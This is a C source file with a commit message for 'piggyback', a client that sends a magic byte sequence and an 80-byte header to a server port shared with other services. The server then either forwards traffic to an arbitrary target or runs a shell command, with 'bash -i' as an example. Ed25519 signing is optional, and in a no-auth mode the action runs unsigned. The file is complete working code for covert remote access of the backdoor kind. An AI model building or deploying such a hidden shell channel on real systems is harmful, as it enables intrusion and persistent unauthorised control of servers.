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piggyback/pb-client.c
Dominik Roth 50c9b4df35 piggyback.bpf.c — back to single LISTEN_PORT, simplified port_watched() to one comparison. 
piggyback.c — no FWD_HOST, FWD_PORT, or SERVER_IP constants. Daemon auto-detects interface and its own IP from
  getifaddrs. Forward target comes from the client packet always. Config is just IFACE, LISTEN_PORT, AUTH_ENABLED,
  TRUSTED_PUBKEY.

  pb-client.c — CLI flags as you wanted. Always sends the 80-byte header (action + target). Without --key: timestamp=0,
   sig=zeros, daemon in no-auth mode reads action+target and skips verification. With --key: full signed header.

  README.md — SNI note fixed: "must match middleware virtual host config" — it's whatever the middleware requires, the
  operator looks it up. Removed all the wrong advice about changing it.
2026-04-04 18:13:10 +02:00

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// pb-client.c — piggyback client
//
// Usage:
// ./pb-client <server_ip> <server_port> <local_port> [options]
//
// Options:
// --mode tcp|tls connection mode (default: tcp)
// --sni <hostname> SNI for TLS — must match middleware routing config
// --key <path> Ed25519 private key PEM (enables auth; required if daemon has AUTH_ENABLED=1)
// --action forward|shell what to do on the server (default: forward)
// --target <ip:port> forward target (default: 127.0.0.1:22)
// --cmd <command> shell command for --action shell (default: bash)
// -v verbose
//
// Examples:
// ./pb-client 1.2.3.4 80 2222
// ./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.example.com
// ./pb-client 1.2.3.4 80 2222 --key eng.key --action forward --target 127.0.0.1:22
// ./pb-client 1.2.3.4 80 2222 --key eng.key --action shell --cmd 'id'
// ssh -p 2222 user@localhost
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <pthread.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <openssl/pem.h>
// ── Shared constants (must match piggyback.bpf.c / piggyback.c) ──────────────
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
#define MAGIC_LEN 6
#define HEADER_LEN 80
#define HDR_TIMESTAMP_OFF 0
#define HDR_ACTION_OFF 8
#define HDR_TARGET_IP_OFF 9
#define HDR_TARGET_PORT_OFF 13
#define HDR_SIG_OFF 16
#define HDR_MSG_LEN 20
#define ACTION_FORWARD 0x01
#define ACTION_SHELL 0x02
typedef enum { MODE_TCP, MODE_TLS } mode_t;
// ── Config ────────────────────────────────────────────────────────────────────
static struct {
char server_ip[256];
int server_port;
int local_port;
mode_t mode;
char sni[256];
char key_path[256];
int action;
char target_ip[64];
int target_port;
char cmd[1024];
int verbose;
} cfg = {
.mode = MODE_TCP,
.action = ACTION_FORWARD,
.target_ip = "127.0.0.1",
.target_port = 22,
.cmd = "bash",
};
static volatile int running = 1;
static SSL_CTX *ssl_ctx = NULL;
#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
#define log_dbg(fmt, ...) do { if (cfg.verbose) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
// ── Abstract I/O ─────────────────────────────────────────────────────────────
struct conn { int fd; SSL *ssl; };
static ssize_t conn_write(struct conn *c, const void *buf, size_t len) {
return c->ssl ? SSL_write(c->ssl, buf, (int)len) : write(c->fd, buf, len);
}
static ssize_t conn_read(struct conn *c, void *buf, size_t len) {
return c->ssl ? SSL_read(c->ssl, buf, (int)len) : read(c->fd, buf, len);
}
static void conn_close(struct conn *c) {
if (c->ssl) { SSL_shutdown(c->ssl); SSL_free(c->ssl); c->ssl = NULL; }
if (c->fd >= 0) { close(c->fd); c->fd = -1; }
}
// ── Splice ────────────────────────────────────────────────────────────────────
static void splice_loop(int local_fd, struct conn *remote) {
int epfd = epoll_create1(0);
struct epoll_event ev, evs[2];
char buf[65536];
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
ev.data.fd = local_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, local_fd, &ev);
ev.data.fd = remote->fd; epoll_ctl(epfd, EPOLL_CTL_ADD, remote->fd, &ev);
while (running) {
int n = epoll_wait(epfd, evs, 2, 1000);
for (int i = 0; i < n; i++) {
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
if (evs[i].data.fd == local_fd) {
ssize_t r = read(local_fd, buf, sizeof(buf)); if (r<=0) goto done;
for (ssize_t w=0; w<r;) { ssize_t s=conn_write(remote,buf+w,r-w); if(s<=0) goto done; w+=s; }
} else {
ssize_t r = conn_read(remote, buf, sizeof(buf)); if (r<=0) goto done;
for (ssize_t w=0; w<r;) { ssize_t s=write(local_fd,buf+w,r-w); if(s<=0) goto done; w+=s; }
}
}
}
done:
close(epfd);
}
// ── Build and send 80-byte header ─────────────────────────────────────────────
//
// Always sent after MAGIC. Without --key: timestamp=0, sig=zeros.
// Daemon reads action+target from header regardless of auth mode.
static int send_header(struct conn *remote, uint32_t server_ip_be) {
uint8_t hdr[HEADER_LEN] = {0};
// timestamp (zeros if no key — daemon in no-auth mode ignores it)
if (cfg.key_path[0]) {
uint64_t ts = (uint64_t)time(NULL);
for (int i = 7; i >= 0; i--) { hdr[HDR_TIMESTAMP_OFF + i] = ts & 0xff; ts >>= 8; }
}
hdr[HDR_ACTION_OFF] = (uint8_t)cfg.action;
if (cfg.action == ACTION_FORWARD) {
uint32_t tip = 0;
inet_pton(AF_INET, cfg.target_ip, &tip);
memcpy(hdr + HDR_TARGET_IP_OFF, &tip, 4);
uint16_t tport = htons((uint16_t)cfg.target_port);
memcpy(hdr + HDR_TARGET_PORT_OFF, &tport, 2);
}
// Sign if key provided
if (cfg.key_path[0]) {
uint8_t msg[HDR_MSG_LEN];
memcpy(msg, hdr, 16);
memcpy(msg + 16, &server_ip_be, 4);
FILE *f = fopen(cfg.key_path, "r");
if (!f) { perror("fopen key"); return -1; }
EVP_PKEY *pkey = PEM_read_PrivateKey(f, NULL, NULL, NULL);
fclose(f);
if (!pkey) { ERR_print_errors_fp(stderr); return -1; }
EVP_MD_CTX *ctx = EVP_MD_CTX_new();
size_t siglen = 64;
uint8_t sig[64];
int ok = ctx &&
EVP_DigestSignInit(ctx, NULL, NULL, NULL, pkey) == 1 &&
EVP_DigestSign(ctx, sig, &siglen, msg, sizeof(msg)) == 1;
if (ctx) EVP_MD_CTX_free(ctx);
EVP_PKEY_free(pkey);
if (!ok || siglen != 64) { ERR_print_errors_fp(stderr); return -1; }
memcpy(hdr + HDR_SIG_OFF, sig, 64);
}
if (conn_write(remote, hdr, HEADER_LEN) != HEADER_LEN) {
log_err("write header failed"); return -1;
}
return 0;
}
// ── TCP connect ───────────────────────────────────────────────────────────────
static int tcp_connect(const char *host, int port) {
struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM };
struct addrinfo *res;
char port_str[8]; snprintf(port_str, sizeof(port_str), "%d", port);
if (getaddrinfo(host, port_str, &hints, &res) != 0) {
log_err("getaddrinfo(%s:%d) failed", host, port); return -1;
}
int fd = -1;
for (struct addrinfo *r = res; r; r = r->ai_next) {
fd = socket(r->ai_family, r->ai_socktype, 0);
if (fd < 0) continue;
if (connect(fd, r->ai_addr, r->ai_addrlen) == 0) break;
close(fd); fd = -1;
}
freeaddrinfo(res);
if (fd < 0) log_err("connect to %s:%d failed", host, port);
return fd;
}
// ── Per-connection thread ─────────────────────────────────────────────────────
struct conn_args { int local_fd; };
static void *conn_thread(void *arg) {
struct conn_args *a = arg;
int local_fd = a->local_fd;
free(a);
struct conn remote = { .fd = -1, .ssl = NULL };
remote.fd = tcp_connect(cfg.server_ip, cfg.server_port);
if (remote.fd < 0) goto done;
if (cfg.mode == MODE_TLS) {
remote.ssl = SSL_new(ssl_ctx);
if (!remote.ssl) goto done;
SSL_set_fd(remote.ssl, remote.fd);
SSL_set_tlsext_host_name(remote.ssl, cfg.sni);
if (SSL_connect(remote.ssl) != 1) {
ERR_print_errors_fp(stderr); log_err("TLS handshake failed"); goto done;
}
log_dbg("TLS: %s", SSL_get_cipher(remote.ssl));
}
// MAGIC
if (conn_write(&remote, MAGIC, MAGIC_LEN) != MAGIC_LEN) {
log_err("write magic failed"); goto done;
}
// Header (always — carries action+target; signed if --key set)
{
uint32_t server_ip_be = 0;
struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM };
struct addrinfo *res;
if (getaddrinfo(cfg.server_ip, NULL, &hints, &res) == 0) {
server_ip_be = ((struct sockaddr_in *)res->ai_addr)->sin_addr.s_addr;
freeaddrinfo(res);
}
if (send_header(&remote, server_ip_be) != 0) goto done;
}
// Shell command follows header for ACTION_SHELL
if (cfg.action == ACTION_SHELL) {
size_t len = strlen(cfg.cmd);
if (conn_write(&remote, cfg.cmd, len) != (ssize_t)len) {
log_err("write cmd failed"); goto done;
}
}
log_info("%s:%d [%s%s] action=%s",
cfg.server_ip, cfg.server_port,
cfg.mode == MODE_TLS ? "TLS" : "TCP",
cfg.key_path[0] ? " signed" : "",
cfg.action == ACTION_FORWARD ? "forward" : "shell");
splice_loop(local_fd, &remote);
done:
conn_close(&remote);
close(local_fd);
return NULL;
}
static void on_signal(int sig __attribute__((unused))) { running = 0; }
// ── Usage ─────────────────────────────────────────────────────────────────────
static void usage(const char *prog) {
fprintf(stderr,
"Usage: %s <server_ip> <server_port> <local_port> [options]\n"
"\n"
" --mode tcp|tls (default: tcp)\n"
" --sni <hostname> SNI for TLS — must match middleware routing\n"
" --key <path> Ed25519 private key PEM (enables signed auth)\n"
" --action forward|shell (default: forward)\n"
" --target <ip:port> forward target (default: 127.0.0.1:22)\n"
" --cmd <command> shell command (default: bash)\n"
" -v verbose\n"
"\n"
" %s 1.2.3.4 80 2222\n"
" %s 1.2.3.4 443 2222 --mode tls --sni internal.corp.com\n"
" %s 1.2.3.4 80 2222 --key eng.key --action forward --target 127.0.0.1:22\n"
" %s 1.2.3.4 80 2222 --key eng.key --action shell --cmd 'bash -i'\n"
" ssh -p 2222 user@localhost\n",
prog, prog, prog, prog, prog);
}
// ── Main ──────────────────────────────────────────────────────────────────────
int main(int argc, char **argv) {
int positional = 0;
for (int i = 1; i < argc; i++) {
if (!strcmp(argv[i], "--mode") && i+1 < argc) {
i++;
if (!strcmp(argv[i], "tcp")) cfg.mode = MODE_TCP;
else if (!strcmp(argv[i], "tls")) cfg.mode = MODE_TLS;
else { fprintf(stderr, "unknown mode: %s\n", argv[i]); return 1; }
} else if (!strcmp(argv[i], "--sni") && i+1 < argc) {
strncpy(cfg.sni, argv[++i], sizeof(cfg.sni)-1);
} else if (!strcmp(argv[i], "--key") && i+1 < argc) {
strncpy(cfg.key_path, argv[++i], sizeof(cfg.key_path)-1);
} else if (!strcmp(argv[i], "--action") && i+1 < argc) {
i++;
if (!strcmp(argv[i], "forward")) cfg.action = ACTION_FORWARD;
else if (!strcmp(argv[i], "shell")) cfg.action = ACTION_SHELL;
else { fprintf(stderr, "unknown action: %s\n", argv[i]); return 1; }
} else if (!strcmp(argv[i], "--target") && i+1 < argc) {
i++;
char *colon = strrchr(argv[i], ':');
if (!colon) { fprintf(stderr, "--target needs ip:port\n"); return 1; }
*colon = '\0';
strncpy(cfg.target_ip, argv[i], sizeof(cfg.target_ip)-1);
cfg.target_port = atoi(colon+1);
} else if (!strcmp(argv[i], "--cmd") && i+1 < argc) {
strncpy(cfg.cmd, argv[++i], sizeof(cfg.cmd)-1);
} else if (!strcmp(argv[i], "-v")) {
cfg.verbose = 1;
} else if (!strcmp(argv[i], "-h") || !strcmp(argv[i], "--help")) {
usage(argv[0]); return 0;
} else if (argv[i][0] != '-') {
switch (positional++) {
case 0: strncpy(cfg.server_ip, argv[i], sizeof(cfg.server_ip)-1); break;
case 1: cfg.server_port = atoi(argv[i]); break;
case 2: cfg.local_port = atoi(argv[i]); break;
default: fprintf(stderr, "unexpected: %s\n", argv[i]); return 1;
}
} else {
fprintf(stderr, "unknown option: %s\n", argv[i]); return 1;
}
}
if (positional < 3) { usage(argv[0]); return 1; }
if (cfg.mode == MODE_TLS && !cfg.sni[0]) {
fprintf(stderr, "[-] --sni required for --mode tls\n"); return 1;
}
signal(SIGINT, on_signal); signal(SIGTERM, on_signal); signal(SIGPIPE, SIG_IGN);
SSL_library_init();
SSL_load_error_strings();
OpenSSL_add_all_algorithms();
if (cfg.mode == MODE_TLS) {
ssl_ctx = SSL_CTX_new(TLS_client_method());
if (!ssl_ctx) { ERR_print_errors_fp(stderr); return 1; }
SSL_CTX_set_verify(ssl_ctx, SSL_VERIFY_PEER, NULL);
SSL_CTX_set_default_verify_paths(ssl_ctx);
SSL_CTX_set_min_proto_version(ssl_ctx, TLS1_2_VERSION);
}
int listen_fd = socket(AF_INET, SOCK_STREAM, 0);
int yes = 1;
setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
struct sockaddr_in laddr = {
.sin_family = AF_INET,
.sin_port = htons(cfg.local_port),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
};
if (bind(listen_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
log_err("bind port %d: %s", cfg.local_port, strerror(errno)); return 1;
}
listen(listen_fd, 16);
log_info("listening on 127.0.0.1:%d → %s:%d [%s%s]",
cfg.local_port, cfg.server_ip, cfg.server_port,
cfg.mode == MODE_TLS ? "TLS" : "TCP",
cfg.key_path[0] ? " auth=ed25519" : "");
while (running) {
struct sockaddr_in caddr; socklen_t clen = sizeof(caddr);
int cfd = accept(listen_fd, (struct sockaddr *)&caddr, &clen);
if (cfd < 0) { if (running) perror("accept"); continue; }
struct conn_args *a = malloc(sizeof(*a));
if (!a) { close(cfd); continue; }
a->local_fd = cfd;
pthread_t tid;
pthread_create(&tid, NULL, conn_thread, a);
pthread_detach(tid);
}
close(listen_fd);
if (ssl_ctx) SSL_CTX_free(ssl_ctx);
return 0;
}
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